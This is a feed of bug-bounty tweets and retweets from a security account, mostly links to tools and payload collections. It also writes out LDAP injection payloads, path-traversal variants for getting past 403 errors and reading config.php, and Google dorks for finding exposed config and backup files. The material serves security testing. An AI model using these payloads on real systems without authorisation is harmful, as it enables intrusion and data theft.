RT @NandanLohitaksh: Top SQL Injection Parameters Credits ~ @trbughunters 1. ?id={payload} 2. ?page={payload} 3. ?dir={payload} 4. ?search={payload} 5. ?category={payload} 6. ?class={payload} 7. ?file={payload} 8. ?url={payload} 9. ?news={payload} 10. ?item={payload} #bugbounty #bugbountytips
— DragonJAR - Seguridad Informática (@DragonJAR) Apr 3, 2022

Lista de programas de #bugbounty, estén alojados en plataformas especializadas o alojadas directamente por las organizaciones https://t.co/3WYdtpthhD #bugbountytips https://t.co/pjKDlm3Cm9
— DragonJAR - Seguridad Informática (@DragonJAR) May 24, 2022

RT @Pethuraj: OWASP Zed Attack Proxy Scripts for finding CVEs and Secrets🔥 » https://t.co/n0yw1rSaKV To use this, add this directory to the scripts directory in ZAP (under Options -> Scripts). #cybersecurity #bugbountytips #bugbounty #infosec #owasp https://t.co/QAvuClc2XI
— DragonJAR - Seguridad Informática (@DragonJAR) Jun 5, 2022

¿Te interesa generar dinero desde tu casa, hackeando a reconocidas empresas y sin problemas legales? revisa este enlace https://t.co/jxKRZjVJz5 #bugbounty #bugbountytips #hacking https://t.co/yX2oMapnfS
— DragonJAR - Seguridad Informática (@DragonJAR) Jun 23, 2022

RT @DragonJAR: ¿Te interesa generar dinero desde tu casa, hackeando a reconocidas empresas y sin problemas legales? revisa este enlace https://t.co/jxKRZjVJz5 #bugbounty #bugbountytips #hacking https://t.co/yX2oMapnfS
— DragonJAR - Seguridad Informática (@DragonJAR) Jun 24, 2022

RT @DragonJAR: ¿Te interesa generar dinero desde tu casa, hackeando a reconocidas empresas y sin problemas legales? revisa este enlace https://t.co/jxKRZjVJz5 #bugbounty #bugbountytips #hacking https://t.co/yX2oMapnfS
— DragonJAR - Seguridad Informática (@DragonJAR) Jun 28, 2022

RT @sec_r0: ❤️ JWT token !! ❤️ And two very simple and basic attacks with them. Go give it a read. Share if you like 🖖 Download : https://t.co/3n6tHsbT2P #infosec #appsec #cybersecuritytips #cybersecurity #bugbountytips #security https://t.co/HMgUzk8ko5
— DragonJAR - Seguridad Informática (@DragonJAR) Jul 28, 2022

RT @HackenProof: Great collection of Burpsuite Intruder payloads, BurpBounty payloads, fuzz lists, malicious file uploads, and web pentesting methodologies/checklists. #bugbountytips #BugBounty #fuzzing #pentest https://t.co/3gdMjLjFMQ
— DragonJAR - Seguridad Informática (@DragonJAR) Aug 12, 2022

RT @_bughunter: LDAP injection payloads 🔥🔥🔥🔥 * *)(& *))%00 )(cn=))\x00 *()|%26' *()|&' *(|(mail=*)) *(|(objectclass=*)) *)(uid=*))(|(uid=* admin* admin*)((|userpassword=*) admin*)((|userPassword=*) x' or name()='username' or 'x'='y #bugbountytips #bugbountytip #bugbounty
— DragonJAR - Seguridad Informática (@DragonJAR) Sep 14, 2022

RT @bughunty: What can you reach in case you uploaded #bugbounty #bugbountytips https://t.co/qTj7NpL8jF
— DragonJAR - Seguridad Informática (@DragonJAR) Sep 29, 2022

RT @_bughunter: New 403 Bypass 🔥🔥🔥🔥 Download.php?file=../config.php ==> 403 Download.php?file=. /config.php⨀ ==> 200 Download.php?file=⊡ /config.php⨀ ==> 200 Download.php?file= .⊡ /config.php ==> 200 Credit: @HusseiN98D https://t.co/BXiAJWaMlF #bugbountytips #bugbountytip #bugbounty
— DragonJAR - Seguridad Informática (@DragonJAR) Oct 5, 2022

RT @XSaadAhmedX: Ghauri - An Advanced SQL Injection Exploiter. Product by @SecurityFoster. Coded By: @r0oth3x49🎩 sqlmap VS ghauri Download: https://t.co/GxOwv6wT5N Note: This is only do SQL exploitation. The SQL detection burp plugin is still private. #bugbountytips #BugBounty https://t.co/3zqNrS6YXR
— DragonJAR - Seguridad Informática (@DragonJAR) Oct 5, 2022

RT @0x0SojalSec: Cloudflare, Sucuri, Incapsula real IP tracker :- https://t.co/S6gFXTpZvN #infosec #CyberSec #bugbountytips https://t.co/j6ufQJLy1O
— DragonJAR - Seguridad Informática (@DragonJAR) Dec 22, 2022

Is that all you need? #websecurity #websecuritytesting #hacking #hackers #webhacking #pentesting #pentestingtools #burpsuite #BugBounty #bugbountytips https://t.co/PgTAIZfYo2
— DragonJAR - Seguridad Informática (@DragonJAR) Dec 24, 2022

RT @TakSec: My favorite Google dorks - Part 3: OR - Include both queries & - Require both queries intext: - Appears in the page Example: (site:site:tesla. com | teslamotors. com) & intext:"choose file” #bugbountytips #bugbounty #hacking #infosec #recon #seo https://t.co/qDmU5lufnB
— DragonJAR - Seguridad Informática (@DragonJAR) Dec 30, 2022

RT @TakSec: https://t.co/ZrHQQNWHLP / https://t.co/ete7ZeWTca are going down starting Feb 1st. Build your own XSS Hunter server w/ this easy script and step-by-step instructions by @AdamJSturge https://t.co/L9eq2fZiJL #xss #bugbountytips #bugbounty #hacking #infosec
— DragonJAR - Seguridad Informática (@DragonJAR) Jan 14, 2023

RT @payloadartist: 💉 SSH Key Injection Vulnerability In Google Cloud Compute Engine https://t.co/EIPOx9gc6B By @sivaneshashok @kl_sree #infosec #bugbounty #bugbountytips #Hacking #CloudComputing https://t.co/ab2K97macK https://t.co/lix3nnrZuN
— DragonJAR - Seguridad Informática (@DragonJAR) Jan 16, 2023

RT @DragonJAR: Is that all you need? #websecurity #websecuritytesting #hacking #hackers #webhacking #pentesting #pentestingtools #burpsuite #BugBounty #bugbountytips https://t.co/PgTAIZfYo2
— DragonJAR - Seguridad Informática (@DragonJAR) Jan 25, 2023

RT @yeswehack: An article written by @Six2dez1 containing a detailed comparison of subdomain enumeration tools. This article will give you great knowledge about the different tools used by the #bugbounty community! 🥷 ➡️https://t.co/S9KrGktcCS #YesWeRHackers #BugBountyTips
— DragonJAR - Seguridad Informática (@DragonJAR) Mar 23, 2023

RT @TakSec: Google Dork - High % inurl keywords inurl:config | inurl:env | inurl:setting | inurl:backup | inurl:admin | inurl:php site:example[.]com Find juicy endpoints and sensitive files #bugbountytips https://t.co/FzNjPTlAb2
— DragonJAR - Seguridad Informática (@DragonJAR) Apr 3, 2023